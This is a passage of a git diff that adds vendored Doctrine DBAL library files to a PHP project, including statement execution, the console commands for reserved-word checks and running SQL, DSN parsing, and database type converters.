+ Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4580', + '%s() is deprecated, use Statement::executeQuery() or Statement::executeStatement() instead', + __METHOD__, + ); + + if ($params !== null) { + $this->params = $params; + } + + $logger = $this->conn->getConfiguration()->getSQLLogger(); + if ($logger !== null) { + $logger->startQuery($this->sql, $this->params, $this->types); + } + + try { + return new Result( + $this->stmt->execute($params), + $this->conn, + ); + } catch (Driver\Exception $ex) { + throw $this->conn->convertExceptionDuringQuery($ex, $this->sql, $this->params, $this->types); + } finally { + if ($logger !== null) { + $logger->stopQuery(); + } + } + } + + /** + * Executes the statement with the currently bound parameters and return result. + * + * @param mixed[] $params + * + * @throws Exception + */ + public function executeQuery(array $params = []): Result + { + if (func_num_args() > 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::executeQuery() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + } + + if ($params === []) { + $params = null; // Workaround as long execute() exists and used internally. + } + + return $this->execute($params); + } + + /** + * Executes the statement with the currently bound parameters and return affected rows. + * + * @param mixed[] $params + * + * @throws Exception + */ + public function executeStatement(array $params = []): int + { + if (func_num_args() > 0) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5556', + 'Passing $params to Statement::executeStatement() is deprecated. Bind parameters using' + . ' Statement::bindParam() or Statement::bindValue() instead.', + ); + } + + if ($params === []) { + $params = null; // Workaround as long execute() exists and used internally. + } + + return $this->execute($params)->rowCount(); + } + + /** + * Gets the wrapped driver statement. + * + * @return Driver\Statement + */ + public function getWrappedStatement() + { + return $this->stmt; + } +} diff --git a/vendor/doctrine/dbal/src/Tools/Console/Command/CommandCompatibility.php b/vendor/doctrine/dbal/src/Tools/Console/Command/CommandCompatibility.php new file mode 100644 index 000000000..562b5ce45 --- /dev/null +++ b/vendor/doctrine/dbal/src/Tools/Console/Command/CommandCompatibility.php @@ -0,0 +1,35 @@ +hasReturnType()) { + /** @internal */ + trait CommandCompatibility + { + protected function execute(InputInterface $input, OutputInterface $output): int + { + return $this->doExecute($input, $output); + } + } +} else { + /** @internal */ + trait CommandCompatibility + { + /** + * {@inheritDoc} + * + * @return int + */ + protected function execute(InputInterface $input, OutputInterface $output) + { + return $this->doExecute($input, $output); + } + } +} diff --git a/vendor/doctrine/dbal/src/Tools/Console/Command/ReservedWordsCommand.php b/vendor/doctrine/dbal/src/Tools/Console/Command/ReservedWordsCommand.php new file mode 100644 index 000000000..e63315466 --- /dev/null +++ b/vendor/doctrine/dbal/src/Tools/Console/Command/ReservedWordsCommand.php @@ -0,0 +1,216 @@ + */ + private array $keywordLists; + + private ConnectionProvider $connectionProvider; + + public function __construct(ConnectionProvider $connectionProvider) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5431', + 'ReservedWordsCommand is deprecated. Use database documentation instead.', + ); + + parent::__construct(); + + $this->connectionProvider = $connectionProvider; + + $this->keywordLists = [ + 'db2' => new DB2Keywords(), + 'mariadb102' => new MariaDb102Keywords(), + 'mysql' => new MySQLKeywords(), + 'mysql57' => new MySQL57Keywords(), + 'mysql80' => new MySQL80Keywords(), + 'oracle' => new OracleKeywords(), + 'pgsql' => new PostgreSQL94Keywords(), + 'pgsql100' => new PostgreSQL100Keywords(), + 'sqlite' => new SQLiteKeywords(), + 'sqlserver' => new SQLServer2012Keywords(), + ]; + } + + /** + * Add or replace a keyword list. + */ + public function setKeywordList(string $name, KeywordList $keywordList): void + { + $this->keywordLists[$name] = $keywordList; + } + + /** + * If you want to add or replace a keywords list use this command. + * + * @param string $name + * @param class-string $class + * + * @return void + */ + public function setKeywordListClass($name, $class) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'ReservedWordsCommand::setKeywordListClass() is deprecated,' + . ' use ReservedWordsCommand::setKeywordList() instead.', + ); + + $this->keywordLists[$name] = new $class(); + } + + /** @return void */ + protected function configure() + { + $this + ->setName('dbal:reserved-words') + ->setDescription('Checks if the current database contains identifiers that are reserved.') + ->setDefinition([ + new InputOption('connection', null, InputOption::VALUE_REQUIRED, 'The named database connection'), + new InputOption( + 'list', + 'l', + InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, + 'Keyword-List name.', + ), + ]) + ->setHelp(<<<'EOT' +Checks if the current database contains tables and columns +with names that are identifiers in this dialect or in other SQL dialects. + +By default all supported platform keywords are checked: + + %command.full_name% + +If you want to check against specific dialects you can +pass them to the command: + + %command.full_name% -l mysql -l pgsql + +The following keyword lists are currently shipped with Doctrine: + + * db2 + * mariadb102 + * mysql + * mysql57 + * mysql80 + * oracle + * pgsql + * pgsql100 + * sqlite + * sqlserver +EOT); + } + + /** @throws Exception */ + private function doExecute(InputInterface $input, OutputInterface $output): int + { + $output->writeln( + 'The dbal:reserved-words command is deprecated.' + . ' Use the documentation on the used database platform(s) instead.', + ); + $output->writeln(''); + + $conn = $this->getConnection($input); + + $keywordLists = $input->getOption('list'); + + if (is_string($keywordLists)) { + $keywordLists = [$keywordLists]; + } elseif (! is_array($keywordLists)) { + $keywordLists = []; + } + + if (count($keywordLists) === 0) { + $keywordLists = array_keys($this->keywordLists); + } + + $keywords = []; + foreach ($keywordLists as $keywordList) { + if (! isset($this->keywordLists[$keywordList])) { + throw new InvalidArgumentException( + "There exists no keyword list with name '" . $keywordList . "'. " . + 'Known lists: ' . implode(', ', array_keys($this->keywordLists)), + ); + } + + $keywords[] = $this->keywordLists[$keywordList]; + } + + $output->write( + 'Checking keyword violations for ' . implode(', ', $keywordLists) . '...', + true, + ); + + $schema = $conn->getSchemaManager()->introspectSchema(); + $visitor = new ReservedKeywordsValidator($keywords); + $schema->visit($visitor); + + $violations = $visitor->getViolations(); + if (count($violations) !== 0) { + $output->write( + 'There are ' . count($violations) . ' reserved keyword violations' + . ' in your database schema:', + true, + ); + + foreach ($violations as $violation) { + $output->write(' - ' . $violation, true); + } + + return 1; + } + + $output->write('No reserved keywords violations have been found!', true); + + return 0; + } + + private function getConnection(InputInterface $input): Connection + { + $connectionName = $input->getOption('connection'); + assert(is_string($connectionName) || $connectionName === null); + + if ($connectionName !== null) { + return $this->connectionProvider->getConnection($connectionName); + } + + return $this->connectionProvider->getDefaultConnection(); + } +} diff --git a/vendor/doctrine/dbal/src/Tools/Console/Command/RunSqlCommand.php b/vendor/doctrine/dbal/src/Tools/Console/Command/RunSqlCommand.php new file mode 100644 index 000000000..4e5681e27 --- /dev/null +++ b/vendor/doctrine/dbal/src/Tools/Console/Command/RunSqlCommand.php @@ -0,0 +1,120 @@ +connectionProvider = $connectionProvider; + } + + /** @return void */ + protected function configure() + { + $this + ->setName('dbal:run-sql') + ->setDescription('Executes arbitrary SQL directly from the command line.') + ->setDefinition([ + new InputOption('connection', null, InputOption::VALUE_REQUIRED, 'The named database connection'), + new InputArgument('sql', InputArgument::REQUIRED, 'The SQL statement to execute.'), + new InputOption('depth', null, InputOption::VALUE_REQUIRED, 'Dumping depth of result set (deprecated).'), + new InputOption('force-fetch', null, InputOption::VALUE_NONE, 'Forces fetching the result.'), + ]) + ->setHelp(<<<'EOT' +The %command.name% command executes the given SQL query and +outputs the results: + +php %command.full_name% "SELECT * FROM users" +EOT); + } + + /** @throws Exception */ + private function doExecute(InputInterface $input, OutputInterface $output): int + { + $conn = $this->getConnection($input); + $io = new SymfonyStyle($input, $output); + + $sql = $input->getArgument('sql'); + + if ($sql === null) { + throw new RuntimeException("Argument 'SQL' is required in order to execute this command correctly."); + } + + assert(is_string($sql)); + + if ($input->getOption('depth') !== null) { + $io->warning('Parameter "depth" is deprecated and has no effect anymore.'); + } + + $forceFetch = $input->getOption('force-fetch'); + assert(is_bool($forceFetch)); + + if (stripos($sql, 'select') === 0 || $forceFetch) { + $this->runQuery($io, $conn, $sql); + } else { + $this->runStatement($io, $conn, $sql); + } + + return 0; + } + + private function getConnection(InputInterface $input): Connection + { + $connectionName = $input->getOption('connection'); + assert(is_string($connectionName) || $connectionName === null); + + if ($connectionName !== null) { + return $this->connectionProvider->getConnection($connectionName); + } + + return $this->connectionProvider->getDefaultConnection(); + } + + /** @throws Exception */ + private function runQuery(SymfonyStyle $io, Connection $conn, string $sql): void + { + $resultSet = $conn->fetchAllAssociative($sql); + if ($resultSet === []) { + $io->success('The query yielded an empty result set.'); + + return; + } + + $io->table(array_keys($resultSet[0]), $resultSet); + } + + /** @throws Exception */ + private function runStatement(SymfonyStyle $io, Connection $conn, string $sql): void + { + $io->success(sprintf('%d rows affected.', $conn->executeStatement($sql))); + } +} diff --git a/vendor/doctrine/dbal/src/Tools/Console/ConnectionNotFound.php b/vendor/doctrine/dbal/src/Tools/Console/ConnectionNotFound.php new file mode 100644 index 000000000..81ca4182a --- /dev/null +++ b/vendor/doctrine/dbal/src/Tools/Console/ConnectionNotFound.php @@ -0,0 +1,9 @@ +connection = $connection; + $this->defaultConnectionName = $defaultConnectionName; + } + + public function getDefaultConnection(): Connection + { + return $this->connection; + } + + public function getConnection(string $name): Connection + { + if ($name !== $this->defaultConnectionName) { + throw new ConnectionNotFound(sprintf('Connection with name "%s" does not exist.', $name)); + } + + return $this->connection; + } +} diff --git a/vendor/doctrine/dbal/src/Tools/Console/ConsoleRunner.php b/vendor/doctrine/dbal/src/Tools/Console/ConsoleRunner.php new file mode 100644 index 000000000..e8fa3c60b --- /dev/null +++ b/vendor/doctrine/dbal/src/Tools/Console/ConsoleRunner.php @@ -0,0 +1,81 @@ +setCatchExceptions(true); + self::addCommands($cli, $connectionProvider); + $cli->addCommands($commands); + $cli->run(); + } + + /** @return void */ + public static function addCommands(Application $cli, ConnectionProvider $connectionProvider) + { + $cli->addCommands([ + new RunSqlCommand($connectionProvider), + new ReservedWordsCommand($connectionProvider), + ]); + } + + /** + * Prints the instructions to create a configuration file + * + * @deprecated This method will be removed without replacement. + * + * @return void + */ + public static function printCliConfigTemplate() + { + echo <<<'HELP' +You are missing a "cli-config.php" or "config/cli-config.php" file in your +project, which is required to get the Doctrine-DBAL Console working. You can use the +following sample as a template: + +> */ + private array $schemeMapping; + + /** @param array> $schemeMapping An array used to map DSN schemes to DBAL drivers */ + public function __construct(array $schemeMapping = []) + { + $this->schemeMapping = $schemeMapping; + } + + /** + * @psalm-return Params + * + * @throws MalformedDsnException + */ + public function parse( + #[SensitiveParameter] + string $dsn + ): array { + // (pdo-)?sqlite3?:///... => (pdo-)?sqlite3?://localhost/... or else the URL will be invalid + $url = preg_replace('#^((?:pdo-)?sqlite3?):///#', '$1://localhost/', $dsn); + assert($url !== null); + + $url = parse_url($url); + + if ($url === false) { + throw MalformedDsnException::new(); + } + + foreach ($url as $param => $value) { + if (! is_string($value)) { + continue; + } + + $url[$param] = rawurldecode($value); + } + + $params = []; + + if (isset($url['scheme'])) { + $params['driver'] = $this->parseDatabaseUrlScheme($url['scheme']); + } + + if (isset($url['host'])) { + $params['host'] = $url['host']; + } + + if (isset($url['port'])) { + $params['port'] = $url['port']; + } + + if (isset($url['user'])) { + $params['user'] = $url['user']; + } + + if (isset($url['pass'])) { + $params['password'] = $url['pass']; + } + + if (isset($params['driver']) && is_a($params['driver'], Driver::class, true)) { + $params['driverClass'] = $params['driver']; + unset($params['driver']); + } + + $params = $this->parseDatabaseUrlPath($url, $params); + $params = $this->parseDatabaseUrlQuery($url, $params); + + return $params; + } + + /** + * Parses the given connection URL and resolves the given connection parameters. + * + * Assumes that the connection URL scheme is already parsed and resolved into the given connection parameters + * via {@see parseDatabaseUrlScheme}. + * + * @see parseDatabaseUrlScheme + * + * @param mixed[] $url The URL parts to evaluate. + * @param mixed[] $params The connection parameters to resolve. + * + * @return mixed[] The resolved connection parameters. + */ + private function parseDatabaseUrlPath(array $url, array $params): array + { + if (! isset($url['path'])) { + return $params; + } + + $url['path'] = $this->normalizeDatabaseUrlPath($url['path']); + + // If we do not have a known DBAL driver, we do not know any connection URL path semantics to evaluate + // and therefore treat the path as a regular DBAL connection URL path. + if (! isset($params['driver'])) { + return $this->parseRegularDatabaseUrlPath($url, $params); + } + + if (strpos($params['driver'], 'sqlite') !== false) { + return $this->parseSqliteDatabaseUrlPath($url, $params); + } + + return $this->parseRegularDatabaseUrlPath($url, $params); + } + + /** + * Normalizes the given connection URL path. + * + * @return string The normalized connection URL path + */ + private function normalizeDatabaseUrlPath(string $urlPath): string + { + // Trim leading slash from URL path. + return substr($urlPath, 1); + } + + /** + * Parses the query part of the given connection URL and resolves the given connection parameters. + * + * @param mixed[] $url The connection URL parts to evaluate. + * @param mixed[] $params The connection parameters to resolve. + * + * @return mixed[] The resolved connection parameters. + */ + private function parseDatabaseUrlQuery(array $url, array $params): array + { + if (! isset($url['query'])) { + return $params; + } + + $query = []; + + parse_str($url['query'], $query); // simply ingest query as extra params, e.g. charset or sslmode + + return array_merge($params, $query); // parse_str wipes existing array elements + } + + /** + * Parses the given regular connection URL and resolves the given connection parameters. + * + * Assumes that the "path" URL part is already normalized via {@see normalizeDatabaseUrlPath}. + * + * @see normalizeDatabaseUrlPath + * + * @param mixed[] $url The regular connection URL parts to evaluate. + * @param mixed[] $params The connection parameters to resolve. + * + * @return mixed[] The resolved connection parameters. + */ + private function parseRegularDatabaseUrlPath(array $url, array $params): array + { + $params['dbname'] = $url['path']; + + return $params; + } + + /** + * Parses the given SQLite connection URL and resolves the given connection parameters. + * + * Assumes that the "path" URL part is already normalized via {@see normalizeDatabaseUrlPath}. + * + * @see normalizeDatabaseUrlPath + * + * @param mixed[] $url The SQLite connection URL parts to evaluate. + * @param mixed[] $params The connection parameters to resolve. + * + * @return mixed[] The resolved connection parameters. + */ + private function parseSqliteDatabaseUrlPath(array $url, array $params): array + { + if ($url['path'] === ':memory:') { + $params['memory'] = true; + + return $params; + } + + $params['path'] = $url['path']; // pdo_sqlite driver uses 'path' instead of 'dbname' key + + return $params; + } + + /** + * Parses the scheme part from given connection URL and resolves the given connection parameters. + * + * @return string The resolved driver. + */ + private function parseDatabaseUrlScheme(string $scheme): string + { + // URL schemes must not contain underscores, but dashes are ok + $driver = str_replace('-', '_', $scheme); + + // If the driver is an alias (e.g. "postgres"), map it to the actual name ("pdo-pgsql"). + // Otherwise, let checkParams decide later if the driver exists. + return $this->schemeMapping[$driver] ?? $driver; + } +} diff --git a/vendor/doctrine/dbal/src/TransactionIsolationLevel.php b/vendor/doctrine/dbal/src/TransactionIsolationLevel.php new file mode 100644 index 000000000..9020343ab --- /dev/null +++ b/vendor/doctrine/dbal/src/TransactionIsolationLevel.php @@ -0,0 +1,33 @@ +getClobTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + // @todo 3.0 - $value === null check to save real NULL in database + return serialize($value); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + $value = is_resource($value) ? stream_get_contents($value) : $value; + + set_error_handler(function (int $code, string $message): bool { + if ($code === E_DEPRECATED || $code === E_USER_DEPRECATED) { + return false; + } + + throw ConversionException::conversionFailedUnserialization($this->getName(), $message); + }); + + try { + return unserialize($value); + } finally { + restore_error_handler(); + } + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::ARRAY; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/AsciiStringType.php b/vendor/doctrine/dbal/src/Types/AsciiStringType.php new file mode 100644 index 000000000..4ea92d974 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/AsciiStringType.php @@ -0,0 +1,29 @@ +getAsciiStringTypeDeclarationSQL($column); + } + + public function getBindingType(): int + { + return ParameterType::ASCII; + } + + public function getName(): string + { + return Types::ASCII_STRING; + } +} diff --git a/vendor/doctrine/dbal/src/Types/BigIntType.php b/vendor/doctrine/dbal/src/Types/BigIntType.php new file mode 100644 index 000000000..8d57a1121 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/BigIntType.php @@ -0,0 +1,50 @@ +getBigIntTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::STRING; + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $value === null ? null : (string) $value; + } +} diff --git a/vendor/doctrine/dbal/src/Types/BinaryType.php b/vendor/doctrine/dbal/src/Types/BinaryType.php new file mode 100644 index 000000000..acbbd87ad --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/BinaryType.php @@ -0,0 +1,67 @@ +getBinaryTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + if (is_string($value)) { + $fp = fopen('php://temp', 'rb+'); + assert(is_resource($fp)); + fwrite($fp, $value); + fseek($fp, 0); + $value = $fp; + } + + if (! is_resource($value)) { + throw ConversionException::conversionFailed($value, Types::BINARY); + } + + return $value; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::BINARY; + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::BINARY; + } +} diff --git a/vendor/doctrine/dbal/src/Types/BlobType.php b/vendor/doctrine/dbal/src/Types/BlobType.php new file mode 100644 index 000000000..cfaabec90 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/BlobType.php @@ -0,0 +1,67 @@ +getBlobTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + if (is_string($value)) { + $fp = fopen('php://temp', 'rb+'); + assert(is_resource($fp)); + fwrite($fp, $value); + fseek($fp, 0); + $value = $fp; + } + + if (! is_resource($value)) { + throw ConversionException::conversionFailed($value, Types::BLOB); + } + + return $value; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::BLOB; + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::LARGE_OBJECT; + } +} diff --git a/vendor/doctrine/dbal/src/Types/BooleanType.php b/vendor/doctrine/dbal/src/Types/BooleanType.php new file mode 100644 index 000000000..7dc7f3a9d --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/BooleanType.php @@ -0,0 +1,79 @@ +getBooleanTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + return $platform->convertBooleansToDatabaseValue($value); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : bool) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + return $platform->convertFromBoolean($value); + } + + /** + * {@inheritDoc} + */ + public function getName() + { + return Types::BOOLEAN; + } + + /** + * {@inheritDoc} + */ + public function getBindingType() + { + return ParameterType::BOOLEAN; + } + + /** + * @deprecated + * + * @return bool + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + // We require a commented boolean type in order to distinguish between + // boolean and smallint as both (have to) map to the same native type. + return $platform instanceof DB2Platform; + } +} diff --git a/vendor/doctrine/dbal/src/Types/ConversionException.php b/vendor/doctrine/dbal/src/Types/ConversionException.php new file mode 100644 index 000000000..154b06d3e --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/ConversionException.php @@ -0,0 +1,123 @@ + 32 ? substr($value, 0, 20) . '...' : $value; + + return new self('Could not convert database value "' . $value . '" to Doctrine Type ' . $toType, 0, $previous); + } + + /** + * Thrown when a Database to Doctrine Type Conversion fails and we can make a statement + * about the expected format. + * + * @param mixed $value + * @param string $toType + * @param string $expectedFormat + * + * @return ConversionException + */ + public static function conversionFailedFormat($value, $toType, $expectedFormat, ?Throwable $previous = null) + { + $value = strlen($value) > 32 ? substr($value, 0, 20) . '...' : $value; + + return new self( + 'Could not convert database value "' . $value . '" to Doctrine Type ' . + $toType . '. Expected format: ' . $expectedFormat, + 0, + $previous, + ); + } + + /** + * Thrown when the PHP value passed to the converter was not of the expected type. + * + * @param mixed $value + * @param string $toType + * @param string[] $possibleTypes + * + * @return ConversionException + */ + public static function conversionFailedInvalidType( + $value, + $toType, + array $possibleTypes, + ?Throwable $previous = null + ) { + if (is_scalar($value) || $value === null) { + return new self(sprintf( + 'Could not convert PHP value %s to type %s. Expected one of the following types: %s', + var_export($value, true), + $toType, + implode(', ', $possibleTypes), + ), 0, $previous); + } + + return new self(sprintf( + 'Could not convert PHP value of type %s to type %s. Expected one of the following types: %s', + is_object($value) ? get_class($value) : gettype($value), + $toType, + implode(', ', $possibleTypes), + ), 0, $previous); + } + + /** + * @param mixed $value + * @param string $format + * @param string $error + * + * @return ConversionException + */ + public static function conversionFailedSerialization($value, $format, $error /*, ?Throwable $previous = null */) + { + $actualType = is_object($value) ? get_class($value) : gettype($value); + + return new self(sprintf( + "Could not convert PHP type '%s' to '%s', as an '%s' error was triggered by the serialization", + $actualType, + $format, + $error, + ), 0, func_num_args() >= 4 ? func_get_arg(3) : null); + } + + public static function conversionFailedUnserialization(string $format, string $error): self + { + return new self(sprintf( + "Could not convert database value to '%s' as an error was triggered by the unserialization: '%s'", + $format, + $error, + )); + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateImmutableType.php b/vendor/doctrine/dbal/src/Types/DateImmutableType.php new file mode 100644 index 000000000..da96b69d5 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateImmutableType.php @@ -0,0 +1,92 @@ +format($platform->getDateFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeImmutable) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTimeImmutable) { + return $value; + } + + $dateTime = DateTimeImmutable::createFromFormat('!' . $platform->getDateFormatString(), $value); + + if ($dateTime === false) { + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateFormatString(), + ); + } + + return $dateTime; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateIntervalType.php b/vendor/doctrine/dbal/src/Types/DateIntervalType.php new file mode 100644 index 000000000..1630dc556 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateIntervalType.php @@ -0,0 +1,110 @@ +getStringTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return null; + } + + if ($value instanceof DateInterval) { + return $value->format(self::FORMAT); + } + + throw ConversionException::conversionFailedInvalidType($value, $this->getName(), ['null', DateInterval::class]); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateInterval) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateInterval) { + return $value; + } + + $negative = false; + + if (isset($value[0]) && ($value[0] === '+' || $value[0] === '-')) { + $negative = $value[0] === '-'; + $value = substr($value, 1); + } + + try { + $interval = new DateInterval($value); + + if ($negative) { + $interval->invert = 1; + } + + return $interval; + } catch (Throwable $exception) { + throw ConversionException::conversionFailedFormat($value, $this->getName(), self::FORMAT, $exception); + } + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateTimeImmutableType.php b/vendor/doctrine/dbal/src/Types/DateTimeImmutableType.php new file mode 100644 index 000000000..a8c7fec96 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateTimeImmutableType.php @@ -0,0 +1,98 @@ +format($platform->getDateTimeFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeImmutable) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTimeImmutable) { + return $value; + } + + $dateTime = DateTimeImmutable::createFromFormat($platform->getDateTimeFormatString(), $value); + + if ($dateTime !== false) { + return $dateTime; + } + + try { + return new DateTimeImmutable($value); + } catch (Exception $e) { + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateTimeFormatString(), + $e, + ); + } + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateTimeType.php b/vendor/doctrine/dbal/src/Types/DateTimeType.php new file mode 100644 index 000000000..3ff592ae1 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateTimeType.php @@ -0,0 +1,115 @@ +getDateTimeTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return $value; + } + + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateTimeImmutableType::class, + __FUNCTION__, + ); + } + + if ($value instanceof DateTimeInterface) { + return $value->format($platform->getDateTimeFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTime::class, DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeInterface) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateTimeImmutableType::class, + __FUNCTION__, + ); + } + + if ($value === null || $value instanceof DateTimeInterface) { + return $value; + } + + $dateTime = DateTime::createFromFormat($platform->getDateTimeFormatString(), $value); + + if ($dateTime !== false) { + return $dateTime; + } + + try { + return new DateTime($value); + } catch (Exception $e) { + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateTimeFormatString(), + $e, + ); + } + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateTimeTzImmutableType.php b/vendor/doctrine/dbal/src/Types/DateTimeTzImmutableType.php new file mode 100644 index 000000000..e700f68d4 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateTimeTzImmutableType.php @@ -0,0 +1,92 @@ +format($platform->getDateTimeTzFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTimeImmutable::class], + ); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : DateTimeImmutable) + * + * @template T + */ + public function convertToPHPValue($value, AbstractPlatform $platform) + { + if ($value === null || $value instanceof DateTimeImmutable) { + return $value; + } + + $dateTime = DateTimeImmutable::createFromFormat($platform->getDateTimeTzFormatString(), $value); + + if ($dateTime !== false) { + return $dateTime; + } + + throw ConversionException::conversionFailedFormat( + $value, + $this->getName(), + $platform->getDateTimeTzFormatString(), + ); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function requiresSQLCommentHint(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5509', + '%s is deprecated.', + __METHOD__, + ); + + return true; + } +} diff --git a/vendor/doctrine/dbal/src/Types/DateTimeTzType.php b/vendor/doctrine/dbal/src/Types/DateTimeTzType.php new file mode 100644 index 000000000..1980fd334 --- /dev/null +++ b/vendor/doctrine/dbal/src/Types/DateTimeTzType.php @@ -0,0 +1,121 @@ +getDateTimeTzTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + * + * @param T $value + * + * @return (T is null ? null : string) + * + * @template T + */ + public function convertToDatabaseValue($value, AbstractPlatform $platform) + { + if ($value === null) { + return $value; + } + + if ($value instanceof DateTimeImmutable) { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/6017', + 'Passing an instance of %s is deprecated, use %s::%s() instead.', + get_class($value), + DateTimeTzImmutableType::class, + __FUNCTION__, + ); + } + + if ($value instanceof DateTimeInterface) { + return $value->format($platform->getDateTimeTzFormatString()); + } + + throw ConversionException::conversionFailedInvalidType( + $value, + $this->getName(), + ['null', DateTime::class], + ); + } + + /** + * {@inheritDoc} + * 